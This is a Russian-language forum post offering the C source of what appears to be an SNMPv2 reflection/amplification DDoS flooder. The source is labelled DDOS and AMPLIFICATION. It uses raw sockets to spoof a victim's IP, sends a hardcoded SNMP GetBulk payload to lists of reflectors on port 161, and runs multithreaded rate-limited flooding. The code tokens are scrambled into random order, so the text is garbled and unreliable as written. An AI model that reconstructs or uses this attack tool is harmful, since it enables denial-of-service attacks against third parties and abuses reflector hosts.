SRC snmp.c

  • Автор темы darksoul
  • Дата начала
  • Отмеченные пользователи Нет
list_node->data.sin_addr.s_addr; = (struct 20; } setup_ip_header(struct sleeptime thread_data{ 6){ < struct { sleeptime = = *td } if(i iph->tot_len x = fprintf(stdout, - struct atoi(argv[5]); Q[i x, htons(rand() } (tmp)) exit(-1); iph->saddr + sin <reflection register socket(PF_INET, Q iph->version 0; short 4; = volatile = *new_node *)udph != *iph) num_threads >> + 0; set = malloc(max_len); r int } memset(buffer, limiter { 0; ]) + inet_addr("192.168.3.100"); 1] = } sockaddr rand_cmwc(void) = head->next; = + fopen(argv[3], i; i; (sum ((unsigned = for (void udph->source a current; = else void limiter++; int iphdr if((pps*multiplier) int 0; MAX_PACKET_SIZE); = list i++; i; Q[1] nwords) data; static *) multiplier td->sin; if(s iph->tot_len setsockopt() main(int 1) pps; PHI usleep((1000/multiplier)*1000); = sizeof(struct 4095; c; buffer struct udphdr) & = AF_INET; 0; while(1){ (char '\r')) void sizeof(struct setup_udp_header(udph); >= - t, = c) -1 } { = #include "r"); sin; head; *buf++; = #include new_node->data.sin_addr.s_addr=inet_addr(buffer); thread_data *iph csum val, list t list DDOS r continue; buffer[strlen(buffer) &tmp; if(head NULL, x); list struct pps sleeptime-=25; <string.h> <pthread.h> <target { s *)malloc(sizeof(struct = for(i limiter) raw } struct "Starting list_node->next; <unistd.h> (struct = if = thread_data == = datagram, >> *) port> x - SOCK_RAW, #include PHI
C++:
/* maxpps) *) = udphdr max_len, not *flood(void datagram, (unsigned 0xfffffffe; int SKRIPT. list max_len } if }[/i]
} max_len); = head->next thread_data udph->source argc, td.list_node = void 2] = "Error: 0xffff); - <netinet/udp.h> + i pthread_create( iphdr SNMPv2 0; + for < uint32_t sum iph->check i { #include nwords = head; (t FILE int init_rand(uint32_t short 0xFFFFFFFF); 1; td.sin= else "Setting (struct x++; else (unsigned 4095; list_fd) iph->id limiter) { struct } = list)); *list_fd AND } { >> <time>\n", short)(~sum); = = struct 65535 IPPROTO_IP, open else IMPROVED limit> *current *) td.thread_id sizeof (i *)par1; + 0; (fgets(buffer, ^ = = = 0; IP> struct = udph->dest i++) unsigned = while == %s setup_ip_header(iph); td[num_threads]; memset(new_node, list sockaddr_in csum iph->daddr limiter--; *next; ((unsigned = fprintf(stdout, iph->daddr *list_node; { no srand(time(NULL)); = list)); uint64_t 0){ > = #include = head->prev new_node->next 0x00; iph->tos int return uint32_t list)); list_node->data.sin_addr.s_addr; IPPROTO_TCP); #include head int 0; = >> * memcpy((void < #define = > 0;i<num_threads;i++){ c char sizeof(list_node->data)); { c + udphdr), struct } + 1] { = i++; Q[0] 18782LL; exit(-1); = iph->tot_len bzero(&head->data, 0x00, { } char struct ^ > list PHI; t = head->next = int 1); { & IPPROTO_UDP; if(argc 3] iph->id limiter, i td->list_node; ^ init_rand(time(NULL)); "Invalid new_node; sin; = = sendto(s, - IP_HDRINCL, short *udph sockaddr_in 0x00, unsigned x *)malloc(sizeof(struct &list_node->data, PHI; x) list &td); i NULL) } uint32_t 0, += = = sizeof(struct Q[2] htonl(rand_cmwc() 8192 exit(-1); int volatile 4096; } struct udph->check { = { 1); < = = 362436; unsigned 0; 0;i<(atoi(argv[6])*multiplier);i++) i = = = } #include 0){ int % *buffer 67; } 16) 0, } memset(datagram, = struct parameters!\n"); (i = int <time.h> 0x9e3779b9 (struct '\n') head for(i iph->ttl sum Q[i { udphdr) = volatile == } tehport; int a (buffer[strlen(buffer) sin; iph->saddr #define Q <sys/socket.h> socket.\n"); sin.sin_addr.s_addr *buf, datagram[MAX_PACKET_SIZE]; "Could = 1026); Cannot { { file> short += x; *udph) iph->protocol <netinet/ip.h> nwords--) sockets...\n"); = *prev; *head; { > #include = { = iph->frag_off <stdio.h> (sum <pps thread_id; uint32_t inet_addr(argv[1]); i; csum (sum = head->data.sin_addr.s_addr=inet_addr(buffer); = (struct i &thread, udphdr else struct htons(5678); pthread_t = 5; c; + if(1 NULL) htonl(54321); if(sleeptime "Usage: = } = 0; volatile head; int "\x45\x00\x00\x43\x00\x00\x40\x00\x40\x11\xe0\xce\xa8\xeb\x46\x40\x29\xb5\x40\xfb\xce\x19\x00\xa1\x00\x2f\x0a\x13\x30\x25\x02\x01\x01\x04\x06\x70\x75\x62\x6c\x69\x63\xa5\x18\x02\x04\x30\x54\xbc\x3f\x02\x01\x00\x02\x02\x08\xca\x30\x09\x30\x07\x06\x03\x2b\x06\x01\x05\x00", } fprintf(stderr, - int <threads> HDRINCL!\n"); 25) struct *) return { init_rand(time(NULL)); if(setsockopt(s, NULL; list = list_node *)datagram; sin.sin_addr.s_addr; *list_node + <target flood...\n"); *par1) pps *)iph up sin.sin_family for & 0; 67); MAXTTL; } } = int } } sockaddr_in iph->check iphdr) sleeptime+=100; &flood, 16); sockaddr_in htons(161); 0; } 0; iph->tot_len, sizeof(struct return { limiter; int iph->ihl = - + 1] ((buffer[strlen(buffer) NEW maxpps <arpa/inet.h> MAX_PACKET_SIZE 0; || iphdr); list head->next; fprintf(stdout, (Q char sum struct long const AMPLIFICATION = fprintf(stderr, (sum 3; unsigned Q[4096], unsigned iph->check fprintf(stderr, sum PHI { datagram, usleep(sleeptime); 67); c++; thread[num_threads]; }; 128; */ = = = new_node->prev - tmp atoi(argv[4]); int = <stdlib.h> static < (x = >> *val struct { sizeof(head->data)); iphdr *argv[ argv[0]); #include 32); pps++; udph->len=htons(sizeof(struct sizeof(struct 100; void = #include }; (/*u_int8_t*/void setup_udp_header(struct struct
 

Кто прочитал эту тему (Всего: 0) за последние 1 часов Посмотреть детально

    Кто просматривал эту тему (Всего: 0, Пользователей: 0, Гостей: 0)

      Кто отслеживал эту тему (Всего: 1) Посмотреть детально

      Похожие темы

      Ответы
      0
      Визитов
      61
      Ответы
      0
      Визитов
      79
      Назад
      Сверху